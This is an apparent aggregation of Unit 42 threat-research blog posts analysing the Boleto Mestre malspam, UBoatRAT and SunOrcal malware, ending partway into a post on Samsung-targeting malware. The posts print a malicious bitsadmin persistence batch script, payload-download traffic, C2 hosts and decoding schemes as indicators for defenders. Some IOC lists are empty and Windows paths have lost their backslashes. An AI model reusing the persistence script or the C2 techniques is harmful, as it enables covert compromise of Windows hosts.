CVE-2017-11882 is in the wild and will likely continue to be exploited for years to come. To remediate this issue, administrators should deploy Microsoft’s patch for this vulnerability, available here: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 .

Those who can’t deploy the patch should consider disabling the Equation Editor as discussed in Microsoft Knowledge Base Article 4055535.

Palo Alto Networks customers are protected from this vulnerability in the following ways:

  • Threat Prevention Signature 36804 identifies files containing the exploit code in the Next Generation Firewall
  • WildFire and Traps identify files exploiting this vulnerability as malicious

Suspicious URLs used by Exploit Samples





































The post Analysis of CVE-2017-11882 Exploit in the Wild appeared first on Palo Alto Networks Blog.

Go to Source
Author: Yanhui Jia

Master Channel: The Boleto Mestre Campaign Targets Brazil

Malicious spam (malspam) often uses malware attachments or links to malware disguised as legitimate documents. In Brazil-based malspam, such malware often impersonates a document called “boleto.” Boleto is an invoice document for Boleto Bancário, a Brazilian payment method commonly used in e-commerce.

We occasionally run across malspam with fake boleto attachments, and these generally target Brazilian organizations. In one such campaign, we’ve seen over 260,000 emails since June 2017 as shown in figure 1.


Figure 1. Results from an AutoFocus search for malspam from the Boleto Mestre campaign.

Figure 2 shows an example. In this image, a link in the email will return malware disguised as a boleto document. The red text below is the imbedded URL.


Figure 2. Screenshot of an email from this campaign.

Like other malspam, this campaign is designed to infect Windows computers with an information stealing Trojan. But what makes this boleto-themed malspam campaign unique?

Windows hosts infected by this campaign generate plain text Internet Relay Chat (IRC) traffic. All infected hosts join the #MESTRE channel. In Portuguese (the official language of Brazil), “mestre” roughly translates to “master” or “teacher” in English. This sort of IRC traffic is fairly unique for current Brazil-based malspam, so we are calling this the Boleto Mestre campaign.

Infection Characteristics

In a posting on my malware-traffic-analysis.net blog, I first documented characteristics of a Windows host infected from the Boleto Mestre campaign in the summer of 2016:

  • PowerShell, PSexec, and other legitimate binaries (.exe and .dll files) utilized by malicious Visual Basic Script (VBS) files.
  • Base64 encoded strings representing VBS saved in the Windows registry.
  • A scheduled task for the infection to stay persistent.
  • Post-infection activity that includes clear text IRC traffic over TCP port 443 to a domain with an “ssl.” Prefix. Infected hosts join the #MESTRE channel.

What is the chain of events for an infection?

Step 1: The victim clicks a link from the email or attached PDF file, which returns a VBS file.

Step 2: The victim double-clicks on the VBS file.

Step 3: This causes more files to be downloaded to the infected Windows host.

Step 4: Initial check-in traffic with www.petr4[.]in.

Step 5: The infected host starts communicating through IRC to its new controller.


Figure 3. Chain of events for a Boleto Mestre malspam infection in November 2017.

PDFs for Redundancy

Prior to June 16th, 2017 Boleto Mestre malspam had links in the email message text to a VBS file posted elsewhere.  However, since June 16th, these malicious emails have also included PDF attachments as well as the links, providing redundancy to the attack.

The PDF attachments have no exploits. These PDF files merely include a link as shown in Figure 4. Like the link in the email text, this URL returns a VBS file. URLs in the PDF attachments are different than URLs within the email’s message text.  However, both URLs redirect to a new URL that returns the same VBS file. This is likely a redundancy scheme to increase chances that a potential victim will download the initial VBS file.


Figure 4. Opening the PDF file and viewing the link.

PDF attachment names start with six digits that roughly align to the date the PDF file was last modified by the criminals behind this campaign. The only change appears to be the link in the PDF to download the initial VBS file. These PDF files have been renamed at least six times since June 2017, so we can infer the PDF files have been modified at least six times since then.


Figure 5. PDF attachment file name breakdown.

Brazil or Bust

Clicking the link in the message text or clicking the link in the PDF attachment downloads the same VBS file. In this case, the email and PDF links both redirected to a URL on sendspace[.]com. Sendspace is legitimate service that allows people to share files over the web. Criminals behind Boleto Mestre have used other file-sharing services like Google Drive and 4shared[.]com, but they tend to stick with Sendspace.

The URL from the email or PDF attachment is location-specific. Servers hosting the malware do not return anything unless the victim comes from a Brazil IP address. Once we viewed the URL from a Brazil IP address, it redirected to a Sendspace URL, and we got our VBS file.


Figure 6. If we did not view the webpage from Brazil, we got a 404 not found error.


Figure 7. Coming from a Brazil IP address, we got the initial VBS file.

The VBS file was somewhat obfuscated, and it roughly followed the same naming scheme as the PDF attachment. The file name started with 06112017, which matched the date we downloaded the file on November 6, 2017.


Figure 8. The downloaded VBS file.

Infection Traffic

On Monday, November 6th, 2017, we infected a computer running Windows 7 SP 1 (host name MONTICELLO-PC) with admin user account thomas.jefferson. Except for the Sendspace URLs, all infection traffic was unencrypted.


Figure 9. Traffic from the infection filtered in Wireshark.

After we downloaded the VBS file from Sendspace and double-clicked it, the script downloaded four items from 65.181.113[.]87. After the infection was finished, the Windows host checked in to an initial controller at www.petr4[.]in.  It reported its host name, user account name, and IRC identification data to be used by an IRC controller at ssl.cheddarmcmelt[.]top.

The infected Windows host then switched to the IRC controller at ssl.cheddarmcmelt[.]top, where it was one of several hosts that appeared in command and control (C2) traffic through plain-text IRC.


Figure 10: C2 traffic over IRC from the infected Windows host, MONTICELLO-PC.

Forensics on an Infected Host

What does an infected Windows host look like? We found several artifacts were on our infected Windows host in various directories. Many of these artifacts are not inherently malicious on their own. The downloaded executables and DLL files were all legitimate binaries. Figures 11 through 14 show some of the artifacts we found on an infected host running Windows 7 SP1.


Figure 11. Artifacts found in an infected user’s AppDataLocalTempJava directory.


Figure 12. Artifacts found in an infected host’s C:WindowsSystem32Java directory.


Figure 13.  Artifacts found in an infected host’s C:WindowsSystem32 directory.


Figure 14. Downloaded DLL and EXE files are legitimate executables.

The infection was kept persistent through a scheduled task. The task pointed to a VBS file. The VBS file read a Windows registry key value that executed SYSMONTICELLOPC60.exe which is actually a copy of PowerShell.exe, a legitimate system administrator tool used for this infection.


Figure 15. Scheduled task to keep the infection persistent.


Figure 16. Contents of the VBS script runs a value in the Windows Registry.


Figure 17. Windows registry value points to a renamed PowerShell.exe file.

Other entries in the Windows registry had VBSscript code, or they had Base64 strings representing VBSscript code that assisted in the infection.  In Figure 18, the HKCUSoftware hive contains a key named SYSMONTICELLOPC with an entry named SYS that contains a Base64 string in the data.  That Base64 string decodes to VBScript used for the infection.  Figure 19 shows another registry key with an entry containing more base64 text that decodes to VBScript.


Figure 18.  Windows registry entry for HKCUSoftwareSYSMONTICELLOPC.


Figure 19. Windows registry entry for HKCUSoftwareSYSMONTICELLOPC60.


This campaign’s combination of Windows registry values, VBS files, and legitimate binaries provides an effective evasion technique. Prior to publishing this bog post, we were able to infect a default-configured Windows 10 host with up-to-date virus definitions in Windows Defender just by clicking a link in one of the PDF attachments and double-clicking the downloaded VBS file.

But, Palo Alto Networks customers are protected from this threat. All identified samples have been flagged as malicious within the Palo Alto Networks next-generation security platform. C2 domains used by the attackers are blocked via Threat Prevention. And AutoFocus users can track the PDF attachments described in this report using the BoletoMestre tag.

See the section below for domains, URLs, file names, hashes, and other related information from our November 2017 lab infection.


Email senders used by the Boleto Mestre campaign since June 2017:

  • sender@globalcobranca[.]ltda
  • sender@grupoaria[.]ltda
  • sender@grupoaxecapital[.]pw
  • sender@grupofreitas[.]ltda
  • sender@gruporecovery[.]ltda
  • sender@gruporecovery[.]xyz
  • sender@gruposafe[.]ltda
  • sender@grupounique[.]ltda

Subject lines used by the Boleto Mestre campaign since June 2017:

  • Envio de Boleto – URGENTE – AXECAPITAL
  • Envio de Boleto – URGENTE – GLOBAL
  • Envio de Boleto – URGENTE – GRUPO ARIA
  • Envio de Boleto – URGENTE – GRUPO FREITAS
  • Envio de Boleto – URGENTE – GRUPO SAFE
  • Envio de Boleto – URGENTE – GRUPO UNIQUE
  • Envio de Boleto – URGENTE – RECOVERY

Attachment names used by the Boleto Mestre campaign since June 2017:

  • 16062017329800998812303133716062017.pdf
  • 190620170009812311122239383108481110.pdf
  • 20072017008184910142830132981348292017.pdf
  • 010820170003375296186050723708.pdf
  • 1508201700016067882247230289631.pdf
  • 250920170000006734569912369086500998.pdf **
  • 0111201700000234567817737100891933281001.pdf  **
  • 1311201700000456789029983300094266915060.pdf **

** File names seen from this campaign as in November 2017.

IP addresses, domains, and URLs seen in November 2017:

  • 65.181.127[.]152 port 80 – unique.bx2dscvppabfcpssiewlvwnknp8ppnnp[.]top – Domain in link from one of the PDF attachments to download VBS file
  • port 443 – www.sendspace[.]com – GET /pro/dl/5qcesn – Sendspace URL for VBS file
  • 65.181.113[.]87 port 80 – 65.181.113[.]87 – GET /sshd/aw7.tiff
  • 65.181.113[.]87 port 80 – 65.181.113[.]87 – GET /sshd/W7.zip
  • 65.181.113[.]87 port 80 – 65.181.113[.]87 – GET /sshd/dll.dll
  • 65.181.113[.]87 port 80 – 65.181.113[.]87 – GET /sshd/dll.dll.exe
  • 65.181.113[.]87 port 80 – www.petr4[.]in – GET /avs/logs/index.php?[info about infected host]
  • 65.181.113[.]87 port 80 – www.petr4[.]in – GET /lol/index.php?[IRC info for infected host]
  • 65.181.113[.]87 port 443 – ssl.cheddarmcmelt[.]top – clear text IRC traffic

Locations of artifacts found on the infected host:

  • C:Users[username]AppDataLocalTempps.exe
  • C:Users[username]AppDataLocalTempJava[random numbers][random characters].vbs
  • C:Users[username]AppDataLocalTempJava[hostname].aes
  • C:Users[username]AppDataLocalTempJava[hostname].zip
  • C:Users[username]AppDataLocalTempJavadll.dll.exe
  • C:Users[username]AppDataLocalTempJavaIonic.Zip.Reduced.dll
  • C:WindowsSystem32c.cer
  • C:WindowsSystem32crov.exe
  • C:WindowsSystem32[random characters].vbs
  • C:WindowsSystem32[hostname]ocx
  • C:Windowssystem32SYS[hostname]exe
  • C:WindowsSystem32Java[hostname].aes
  • C:WindowsSystem32Java[hostname].zip
  • C:WindowsSystem32JavaIonic.Zip.Reduced.dll
  • C:WindowsSystem32TasksSYS[hostname]60

Windows registry entries on the infected Windows host:

  • HKCUSoftwareSYS[hostname]SYS
  • HKCUSoftwareSYS[hostname]SYS[hostname]
  • HKCUSoftwareSYS[hostname]60PSYS[hostname]60
  • HKCUSystemSYS[hostname]60SYS[hostname]60cache
  • HKCUSystemSYS[hostname]60SYS[hostname]60control
  • HKCUSystemSYS[hostname]60SYS[hostname]60SYS[hostname]60

File hashes associated with the November 2017 infection:

SHA256 hash: 3b9944bbb3d1e088c03882d2d5cde19bcd2ac4059aa5d002d9165674a1617fea

  • File name: 250920170000006734569912369086500998.pdf

SHA256 hash: 589215c1ed39d3104cf40dc344441cfa1b5bbbe4c28c89780d8f824fb61a2e00

  • File name: 0611201700000234567817737100891933281001.vbs

The post Master Channel: The Boleto Mestre Campaign Targets Brazil appeared first on Palo Alto Networks Blog.

Go to Source
Author: Brad Duncan

UBoatRAT Navigates East Asia

Executive Summary

Palo Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics.

  • Targets personnel or organizations related to South Korea or video games industry
  • Distributes malware through Google Drive
  • Obtains C2 address from GitHub
  • Uses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence.


We don’t know the exact targets at the time of this writing. However, we theorize the targets are personnel or organizations related to Korea or the video games industry. One of the reasons for the hypothesis is the file names used by the attacker when delivering the malware. We see Korean-language game titles, Korea-based game company names and some words used in the video games business on the list. Another reason is that UBoatRAT performs malicious activities on the compromised machine only when joining an Active Directory Domain. Most home user systems are not part of a domain, and as such would not be impacted the same way. Below are some of the file names associated with UBoatRAT deliveries. The first three file names are written in Korean and only includes the general business topics. Last one contains unreleased game title, “Project W’ and the Korean-based video game company’s name.

  • 2017년 연봉인상 문의 사항관련 피드백 조사.exe (2017 annual salary raise inquiry related feedback survey)
  • 2017년 연봉인상 문의 사항관련 피드백 전달.exe (2017 annual salary raise feedback)
  • [사업]roykim’s_resumeexe ([Business]RyoKim’s__resume__20170629.exe)
  • [Project W]Gravity business cooperation.exe

Delivery and Installation

We observed multiple variants of UBoatRAT delivered from Google Drive. Not all of the links were active at the time of our analysis, but some (including the one below) were.Uboat_1

Figure 1 Download from Google Drive

The zip archive hosted on Google Drive contains the malicious executable file disguised as a folder or a Microsoft Excel spread sheet. The latest variants of the UBoatRAT released in late July or later masquerade as Microsoft Word document files.


Figure 2 Examples of UBoatRAT Masquerading

When executed, the UBoatRAT checks for the following two conditions on the compromised machine.

  • Detecting virtualization software such as VMWare, VirtualBox or QEmu.
  • Obtaining Domain Name from network parameters

If the RAT detects virtual environment or fails to get the domain name, it displays following fake error message and quits.


Figure 3 Fake error message

Otherwise, UBoatRAT copies itself as C:programdatasvchost.exe, creates C:programdatainit.bat and executes the bat file. Then displays the following message and quits.


Figure 4 Fake Error Message after installation

Persistence with BITS

UBoatRAT achieves persistence by using Microsoft Windows Background Intelligent Transfer Service(BITS). BITS is a service for transferring files between machines. Though the most famous application using the service is Windows Update, other applications or users can take advantage of the component. Bitsadmin.exe is a command-line tool user can create and monitor BITS jobs. The tool provides the option, /SetNotifyCmdLine which executes a program when the job finishes transferring data or is in error. UBoatRAT takes advantage of the option to ensure it stays running on a system, even after a reboot.

The following is the contents of the init.bat. At the second line, the local file net.exe is specified to transfer to %temp%.log. After completing the copying the local file, BITS executes the UBoatRAT file configured with /SetNotifyCmdLine at the third line.

bitsadmin /create d1f2g34
bitsadmin /addfile d1f2g34 c:windowssystem32net.exe  %temp%sys.log
bitsadmin /SetNotifyCmdLine d1f2g34 “c:programdatasvchost.exe” “”
bitsadmin /Resume d1f2g34
Del %0

The BITS job keeps executing the malware periodically even if the computer reboots. To remove the job from the queue, BITS needs to call Complete or Cancel explicitly. According to the article from Microsoft, the job remains 90 days by default if you don’t call Complete or Cancel.

C2 communication and backdoor commands

The attacker behind the UBoatRAT hides the C2 address and the destination port in a file hosted on Github, using a URL like the following:


The malware accesses the URL and decodes the characters between the string “[Rudeltaktik]” and character “!” using BASE64. “Rudeltaktik” is the German military term which describes the strategy of the submarine warfare during the World War II.

In the case below, the string can be decoded to 115.68.49[.]179:80.


UBoatRAT uses a custom command and control protocol to communicate with the attacker’s server.  The malware places the string ‘488’ (0x34, 0x38, 0x38 in HEX) at the top of the payload or instruction and encrypts the entire buffer with the static key 0x88 by using simple XOR cipher. Then the network payload always starts with 0xBC, 0xB0, 0xB0.


Figure 5 ‘488’ marker


Figure 6 Encrypted ‘488’ marker by static key

We assume the attacker picks ‘488’ from one of the German submarines because the author calls the RAT UBoat-Server.


Figure 7 UBoat_Server in the malware

After establishing a covert channel with C2, the threat waits following backdoor commands from the attacker.

Command Description
alive Checks if whether the RAT is alive
online Keeps the RAT online by sending the packets to C2 periodically
upfile Uploads file to compromised machine
downfile Downloads file from compromised machine
exec Executes process with UAC Bypass using Eventvwr.exe and Registry Hijacking
start Starts CMD shell
curl Downloads file from specified URL
pslist Lists running processes
pskill Terminates specified process

Development of UBoatRAT

At the time of this writing, we have identified fourteen samples of UBoatRAT and one downloader associated with the attacks. Most of UBoatRAT samples retrieve C2 address from GitHub as described above. Only one sample released in May connected to public blog service in Hong Kong and compromised legitimate web server in Japan as C2. The sample uses regular HTTP protocol for communication. The account for the blog, ‘elsa_kr’ has existed since April 2016 and has no meaningful contents at this moment.


Figure 8 Public Blog used as C2

The author released a new version employing various new features in June. The early version of this new version obtains a C2 address from the repository ‘uuu’ owned by the GitHub account ‘elsa999’. At the time of this writing, the ‘uuu’ repository has been deleted. It has since been replaced by three other repositories (‘uj’, ‘hhh’ and ‘enm’) all hosting an encoded combination of IP address and port in the account. According to the file history, the author has frequently been updating these files since July. After performing a quick analysis, we concluded these three repositories are for development and testing purpose for following reasons.

  • They use the different marker ‘###NEWS###’, instead of ‘[Rudeltaktik]’.
  • The encoded global IP addresses are different from known UBoatRAT samples.
  • The author always changes the encoded address back to localhost( in short period.


Figure 9 GitHub account for testing

The ‘elsa999’ user also has the following three PowerShell scripts in their repositories. These scripts are written by other authors for penetration testing.

  • gpp_autologon.ps1
  • gpp_pwd.ps1
  • wmi_scan.ps1


Though the latest version of UBoatRAT was released in September, we have seen multiple updates in elsa999 accounts on GitHub in October. The author seems to be vigorously developing or testing the threat. We will continue to monitor this activity for updates.




bf7c6e911f14a1f8679c9b0c2b183d74d5accd559e17297adcd173d76755e271 6bea49e4260f083ed6b73e100550ecd22300806071f4a6326e0544272a84526c cf832f32b8d27cf9911031910621c21bd3c20e71cc062716923304dacf4dadb7 7b32f401e2ad577e8398b2975ecb5c5ce68c5b07717b1e0d762f90a6fbd8add1 04873dbd63279228a0a4bb1184933b64adb880e874bd3d14078161d06e232c9b 42d8a84cd49ff3afacf3d549fbab1fa80d5eda0c8625938b6d32e18004b0edac 7be6eaa3f9eb288de5606d02bc79e6c8e7fc63935894cd793bc1fab08c7f86c7 460328fe57110fc01837d80c0519fb99ea4a35ea5b890785d1e88c91bea9ade5 55dd22448e9340d13b439272a177565ace9f5cf69586f8be0443b6f9c81aa6e7 9db387138a1fdfa04127a4841cf024192e41e47491388e133c00325122b3ea82 e52d866e5b77e885e36398249f242f8ff1a224ecce065892dc200c57595bb494 eb92456bf3ab86bd71d74942bb955062550fa10248d67faeeeedd9ff4785f41e 452b1675437ef943988c48932787e2e4decfe8e4c3bed728f490d55b3d496875 66c2baa370125448ddf3053d59085b3d6ab78659efee9f152b310e61d2e7edb5

Downloader SHA256


Web Access



http://www.ak(masked)[.]jp/images/ http://elsakrblog.blogspot[.]hk/2017/03/test.html












The post UBoatRAT Navigates East Asia appeared first on Palo Alto Networks Blog.

Go to Source
Author: Kaoru Hayashi

SunOrcal Adds GitHub and Steganography to its Repertoire, Expands to Vietnam and Myanmar


Recently, while Unit 42 was researching Reaver, the newest malware family related to attackers who also use SunOrcal, we also uncovered a new variant of the SunOrcal malware family. This new variant has been in the wild since at least May 2017 and uses both GitHub and steganography in a possible attempt to obscure its C2 infrastructure or perhaps to avoid detection by having the malware variant first beacon to a legitimate site.

SunOrcal activity has been documented to at least 2013, and may have been active as early as 2010. This new variant was used concurrently with both Reaver and traditional SunOrcal and shares much of the same infrastructure. We have also tied this activity to some involving the Surtr malware family, which is another tool used by these attackers.

The steganography technique we found in these new SunOrcal variants has also been used in a recent malicious document that uses a lure related to Donald Trump’s recent visit to Asia. The malicious document specifically mentions the disputed South China Sea area and targets individuals in the Vietnam region. In addition, we uncovered activity using traditional SunOrcal in March and May of 2016 that targeted at least one official entity in Myanmar.  Both Vietnam and Myanmar are outside of the typical targeting of these threat actors, indicating a potential broadening or shifting of targets. However, we do not have enough data to say whether this is a temporary or permanent expansion of activity.

In the following two sections we describe the new SunOrcal variant and ties between this activity, Reaver, traditional SunOrcal, and Surtr malware families.

SunOrcal Malware Analysis

For the following analysis, we analyzed the sample with the following attributes:

SHA256 887aeccfb981266f1d47a68cba64de47a4945a63d3b1787294ac98842ff47ffd
Compile Timestamp 2017-06-22 06:43:05 UTC

The malware begins by creating a mutex with a name of ‘GloablCryptNv1.453.2232’. This mutex is created to ensure only a single instance of SunOrcal is running at a given time.

Afterwards, the malware attempts to decrypt various configuration strings using an XOR key of 0xE8. These strings may contain various information, including the following:

  • Remote command and control (C2) server
  • C2 port
  • Various Boolean values
  • Download URL for payload
  • GitHub link to extract payload C2
  • GitHub Boolean value

As we can see in the following screenshot, some of these configuration options are stored with filler strings that will not actually be used, typically prefaced by ‘!!!’.


Figure 1 SunOrcal XOR-encoded Configuration Strings

After the configuration is parsed and decrypted, the malware will check the string at offset 0x412738 for a value of ‘yes’. If this is found, which is true in the case of this particular sample, the malware will attempt to communicate with GitHub to extract a host and port that will eventually be used by the final payload. This particular sample is configured to look at a file hosted at the following URL:

  • https://github.com/NordicMyth/NordicMyth/blob/master/README2.md

This file contains the following information:


Figure 2 Contents of README2.md

Additionally, a number of other similar files are hosted in this repository as shown in figure 3:


Figure 3 NordicMyth repository hosting various C2 information

Readers that look at the README2.md file contents may notice an oddity towards the bottom left within the paragraph of text. How this text is used will become apparent shortly.

At this stage, the malware will download the contents of this README2.md file and search for any data between two strings of ‘NorMsL’. In our previous example (as shown in figure 2), the following text is found between the two strings and so is returned:

  • AFaiOVa0BVOdBF6gzcK6yEzvTtk=

This SunOrcal variant proceeds to decode this string using base64 with the following custom alphabet:


It then takes the resulting decoded text and decodes it yet again using the standard base64 alphabet. Finally, this resulting string from this double decoding operation is XORed against 0xE5. This entire process looks like the following:


Figure 4 GitHub de-obfuscation process for extracting a C2 server

To date, we have only seen the NordicMyth GitHub repository used by SunOrcal variants using this GitHub technique. Using historical commits, we were able to observe the following remote C2 servers:

'AFaiOVa0BVOdBF6gzcK6yEzvTtk=' : 'www.weryhstui[.]com:80'
'AFaiOU2sw9q3w829RZ3jOUqayd-tRg==' : 'www.eyesfeel256[.]com:80'
'AFaiOUG9z8K4yE6cOUqayd-tRg==' : 'www.olinaodi[.]com:80'
'RdPnOZjjTsLkOZjlQt-tRg==' : '192.168.1[.]104:80'
'RdviOZnbRsLkTZTl' : '127.0.0[.]1:80'
'RdPnOZjjTsLkOZjlQt-tRg==' : '192.168.1[.]104:80'

After the C2 string is extracted from the remote GitHub URL, it will save both the host and the port to their relevant configuration variables.

At this point, SunOrcal will check the current version of Microsoft Windows to see if it is running Windows Vista or higher. If this is the case, it will use the following path to store subsequent files:

  • C:ProgramData[random_directory]

Otherwise, it will use the following hard-coded directory:

  • C:Documents and SettingsAll UsersApplication Data[random_directory]

Where ‘[random_directory]’ is a randomly chosen 8-byte alphanumeric string. In the event the malware identifies that it is already running within this path, it will read the ‘updata.log’ file stored in this path. This read data contains a file path to the original executable, which in turn is deleted, removing traces of the original infection.

Otherwise, SunOrcal will create the randomly named directory and create the ‘updata.log’ file, which it then will write to. The path of the currently running executable will be written to this log file. SunOrcal will also create a ‘data’ subdirectory.

The malware continues to copy itself to the random directory previously created with a filename of ‘sppsvc.txt’. This ‘sppsvc.txt’ file is then renamed to ‘sppsvc.exe’. This newly written executable then has its creation and last write time modified to reflect the year 2008. The last access time is modified to the year 2012. All other time values remain unchanged.

At this stage the malware will write the ‘updata.log’ file with the current filename’s path.

SunOrcal will write one the following registry key to ensure persistence:

HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunOncesppsvc : C:ProgramData[random_directory]sppsvc.exe

HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunOncesppsvc : C:Documents and SettingsAll UsersApplication Data[random_directory]sppsvc.exe

The malware continues to attempt to download a bitmap (.BMP) file from a remote location. This particular sample was configured to download it from the following URL:

  • http://www.fyoutside[.]com/dwm99.bmp

This .BMP file is written to the previously created ‘data’ subdirectory, with a filename of ‘dwm.dll’. This BMP is in fact an obfuscated DLL file. Opening the BMP file makes this clear as shown in figure 5.


Figure 5 Downloaded BMP file containing obfuscated DLL file

Prior to be written to disk, SunOrcal will decode this BMP file using an incremental XOR scheme. The contents of the executable begin at offset 54 of the downloaded BMP. The following Python script may be used to decode this data:

import sys

file = sys.argv[1]
f = open(file, 'rb')
fd = f.read()

def xor(data):
  out = ""
  out += data[0:54]
  c = 255
  for d in data[54:]:
    out += chr(ord(d) ^ (c % 256))
    c += 1
  return out

newfile = "{}_{}.{}".format(file.split(".")[0], "decoded", file.split(".")[1])
f1 = open(newfile, 'wb')
print("[+] Wrote {}".format(newfile))

After running this script, we see the following differences:


Figure 6 Decoding BMP file to reveal DLL file

As the decoded DLL is written to disk, the malware will also write configuration information to this file. This includes, but is not limited to, the C2 host and port it retrieved from GitHub earlier.

After this file is written, the malware proceeds to load the DLL and calls the ‘FunctionWork’ exported function. At this point, the final payload of SunOrcal is executed.

Ties to Reaver and previous SunOrcal and Surtr Activity

The new SunOrcal variant was used concurrently with both traditional SunOrcal and the new Reaver malware family since at least May 2017.  There are multiple overlaps with the C2 infrastructure that we detailed in the previous Reaver blog. In addition to those overlaps, one of the domains we found as a C2 via historical commits to the NordicMyth GitHub, www.eyesfeel256[.]com, was also used as a C2 for SunOrcal activity in March and June 2016 targeting at least one organization in Myanmar. The domain hosting the SunOrcal malware in those attacks, www.outsidefly[.]com, is listed in a 2013 report discussing targeted attacks against Tibetan community using Surtr malware. All of these domains, and several others listed in the 2013 report, also have the same historic registrant as well as PDNS overlap and many have been used in earlier activity involving the SunOrcal and/or Surtr malware families. Several of the SunOrcal variants are also configured to use www.weryhstui[.]com and fyoutside[.]com in addition to GitHub, both of which are documented in our previous blog as used by both Reaver and traditional SunOrcal samples.  Below is a simplified chart showing a sample of the overlaps that can be found while investigating activity involving these three malware families.


Figure 7. Chart showing some of the overlaps between Reaver, Surtr, and SunOrcal (traditional and the GitHub variant) malware families. All IOCs are in the appendix of this blog

Recent Attacks

One of the most recent attacks that Unit 42 found related to this campaign consisted of a malicious RTF document was served on November 8, 2017 with the following SHA256 hash:


This most recent malicious RTF in question had an original filename as follows:

Doanald Trump dự APEC khẳng định Vai Trò số 1 của Việt Nam ở Biển Đông khiến Trung Quốc bẽ mặt.doc

This roughly translates to the following:

Donald Trump of APEC confirms Vietnam’s No. 1 role in South China Sea is humiliating.doc

Inspection of this RTF document revealed that it loads an embedded executable file that has heavy code overlap with the previously discussed SunOrcal variant. It looks to be streamlined to remove much of the previously witnessed functionality, and simply is configured to download a remote BMP file, decode it to reveal an executable file, and set persistence for this file.

The specific BMP is downloaded from the following location:

  • http://www.fyoutside[.]com/l1106.bmp

In addition to the code overlap, the domain used to download this BMP has been used as a C2 for the SunOrcal variant leveraging steganography as well as with traditional SunOrcal, and was also seen hosting Reaver malware.

The payload is dropped to ‘%TEMP%mstk.exe’ and the HKCU Run registry key is configured to point at this executable. This sample has been observed downloading the previously discussed Reaver malware family.


As attackers continue to grow and evolve, so does their toolsets. SunOrcal activity has been documented to at least 2013, and may have begun as early as 2010. This new variant was used concurrently with both Reaver and traditional SunOrcal, to include sharing much of the same infrastructure. We have also tied this activity to some involving the Surtr malware family, which is another tool used by these attackers.

As we have discovered, the attackers behind SunOrcal have updated this malware family to include both steganography techniques as well as the ability to collect C2 information from the popular GitHub service. It is interesting to note the rollout out of both a new malware family with three variants, along with an updated variant of a known family, coincides with what seems to be new targeting outside of what the attackers have targeted in the past. We have witnessed recent attacks that appear to be conducted by the same threat group but focused on Vietnam and Myanmar, instead of the traditional focus on the “Five Poisons”. These attacks use very topical lures to entice their targets to open and subsequently be infected by these files. We will continue to monitor this activity and report as appropriate.

Palo Alto Networks customers are protected from these threats via a number of ways:

  • All malware families discussed are tagged within AutoFocus
  • Malicious samples have been appropriately flagged within the WildFire platform
  • Domains used by this threat have been classified as malicious
  • Traps blocks the exploit used by the recently observed attacks

AutoFocus customers can monitor activity using these malware families with the following tags:


SunOrcal Samples Using GitHub
















Malicious RTF


Traditional SunOrcal























Domains and IP addresses


The post SunOrcal Adds GitHub and Steganography to its Repertoire, Expands to Vietnam and Myanmar appeared first on Palo Alto Networks Blog.

Go to Source
Author: Josh Grunzweig

Operation Blockbuster Goes Mobile

Unit 42 has discovered a new cluster of malware samples, which targets Samsung devices and Korean language speakers, with relationships to the malware used in Operation Blockbuster. The specific points of connection between these new samples and Operation Blockbuster include:

Although Unit 42 cannot provide a full picture of the details surrounding the delivery of these samples, we are confident this activity targets Korean language speakers who use Samsung devices. Based on this evidence we believe this new malware is likely targeting South Koreans.

The newly discovered samples show new capabilities not previously documented. A strong relationship between previously identified malware samples attributed to these campaigns and the newly discovered samples examined in this report.

New Malware Cluster

At the center of the cluster of new malware samples is a PE (ed9e373a687e42a84252c2c01046824ed699b32add73dcf3569373ac929fd3b9) uploaded to VirusTotal with the filename “JAVAC.EXE”.  The sample requires two command line parameters to run, the first is a port number which the binary binds to, acting as a webserver, and the second is also a port number which is used for encrypted protocol communications.

The first port mimics an Apache server, using header values that Apache would use and will serve different resources to requests on the port, depending on the User-Agent header values used. Some of the responses given are embedded in the original PE, whilst others are expected to be found on the local disk. The following JavaScript files are embedded in the resource section of JAVAC.exe:

 Filename SHA256 Purpose
jquery50.js 2b15e4289a3eb8e4eb8c2343895002dde7f5b2791e3c799b4f869be0aa85d2e8 Gets and sets client HTTP Cookie header values e.g. “GoogleAppCookie”. Redirects clients to “main.js”
jquery52.js b183625c006f50f2b64ebe0aebda7b68ae285e53d1b4b00c8f49cde2dfc89348 Gets and sets client HTTP Cookie header values e.g. “GoogleAppCookie”. Redirects clients to “update.js”
jquery99.js 941cd0662cae55bc06727f1d658aba67f33442e63b03bebe012dad495e9e37dc Redirect all client requests to mboard_ok.css.
main.js 790662a047047b0470e2f243e2628d8f1b62794c1359b75ed9b856325e9c961a Collect system information and invoke a system shell. These are used to accomplish the following:

Install and invoke an APK
Write an ELF file to disk on the client

umc.apk 4694895d6cc30a336d125d20065de25246cc273ba8f55b5e56746fddaadb4d8a Three nested APKs which ultimately lead to a backdoor APK implant. This file is likely installed silently by visiting the next resource with an HTTP client.

Further details on this APK follow below.

update.js cf3e9baaac7efcaff8a9864da9f12b4115ba3f148ae5cfc21f3c158f6182b792 Redirect all client requests to a URL which triggers a vulnerability in Samsung devices to install an APK.

The system name this PE HTTP server is intended to execute on has a hostname of “RUMPUS-5ED8EE00”. This is checked by JAVAC.exe during execution. Besides the resources listed in the table above, it is important to note that JAVAC.exe expects additional files located on the system due to some of the resources referencing local JavaScript files. These include the following filenames:

  • mboard_ok.css
  • node_n.js
  • node_e.js
  • node_g.js
  • node_p.js
  • node_ok.js
  • node_nc.js
  • node_ex.js

We have not been able to obtain copies of these resources.

Related ELF ARM Samples

The ELF ARM file embedded in main.js is written to HTTP clients’ disks by the logic in main.js. Below is a table outlining indicators from this embedded ELF ARM.

SHA256 Description Embedded IPv4 Addresses
0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d ELF ARM file embedded in main.js

This ELF ARM file is one of three we identified. These ELF files are similar to PE files named Cruprox by Symantec, Manuscrypt by Kaspersky, and Clevore by Trend Micro. The ELF ARM samples contain lists of domains (used for deception) and IPv4 addresses (used for command and control). These domains and IPv4 addresses are used to generate crafted TLS sessions similarly to the “fake TLS” communication mechanisms in section of the Operation Blockbuster report by Novetta.

